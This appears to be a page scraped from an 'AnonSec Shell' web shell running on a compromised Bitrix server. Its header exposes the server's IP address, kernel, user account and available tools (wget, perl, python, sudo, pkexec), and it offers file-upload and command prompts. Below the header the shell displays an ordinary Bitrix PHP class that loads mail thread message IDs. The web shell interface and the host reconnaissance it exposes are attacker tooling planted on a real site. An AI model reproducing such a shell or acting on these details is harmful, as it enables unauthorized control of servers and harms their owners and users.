AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.220.187.80
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/mail/lib/helper/message/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/mail/lib/helper/message/messagethreadloader.php
<?php

namespace Bitrix\Mail\Helper\Message;

use Bitrix\Main\ArgumentException;
use Bitrix\Main\ObjectPropertyException;
use Bitrix\Main\SystemException;
use Bitrix\Mail\Internals\MessageClosureTable;

final class MessageThreadLoader
{
	private array $threadBeforeMessageId = [];
	private array $threadAfterMessageId = [];

	public function __construct(
		private int $messageId,
	){}

	public function getMessageId(): int
	{
		return $this->messageId;
	}

	/**
	 * returns an array of message ids sorted in ascending order
	 * @return int[]
	 */
	public function getThreadMessageIds(): array
	{
		$threadMessageIds = [$this->messageId];
		if ($this->threadBeforeMessageId)
		{
			$threadMessageIds = array_merge($this->threadBeforeMessageId, $threadMessageIds);
		}
		if ($this->threadAfterMessageId)
		{
			$threadMessageIds = array_merge($threadMessageIds, $this->threadAfterMessageId);
		}

		return $threadMessageIds;
	}

	/**
	 * clears the message id array if you need to separately load the previous or next messages relative to the set messageId
	 * @return void
	 */
	public function clearThreadMessageIds(): void
	{
		$this->threadBeforeMessageId = [];
		$this->threadAfterMessageId = [];
	}

	public function loadBeforeThreadMessageIds(?int $limit = null): void
	{
		$this->threadBeforeMessageId = [];

		$query = MessageClosureTable::query()
			->setSelect(['PARENT_ID'])
			->where('MESSAGE_ID', $this->messageId)
			->where('PARENT_ID', '<', $this->messageId)
			->setOrder(['PARENT_ID' => 'ASC'])
		;

		if ($limit)
		{
			$query->setLimit($limit);
		}

		foreach ($query->fetchAll() as $item)
		{
			$this->threadBeforeMessageId[] = (int)$item['PARENT_ID'];
		}
	}

	public function loadAfterThreadMessageIds(?int $limit = null): void
	{
		$this->threadAfterMessageId = [];

		$query = MessageClosureTable::query()
			->setSelect(['MESSAGE_ID'])
			->where('PARENT_ID', $this->messageId)
			->where('MESSAGE_ID', '>', $this->messageId)
			->setOrder(['PARENT_ID' => 'ASC'])
		;

		if ($limit)
		{
			$query->setLimit($limit);
		}

		foreach ($query->fetchAll() as $item)
		{
			$this->threadAfterMessageId[] = (int)$item['MESSAGE_ID'];
		}
	}

	public function loadFullThreadMessageIds(?int $limit = null): void
	{
		$this->loadBeforeThreadMessageIds($limit);
		$this->loadAfterThreadMessageIds($limit);
	}
}

Anon7 - 2022
AnonSec Team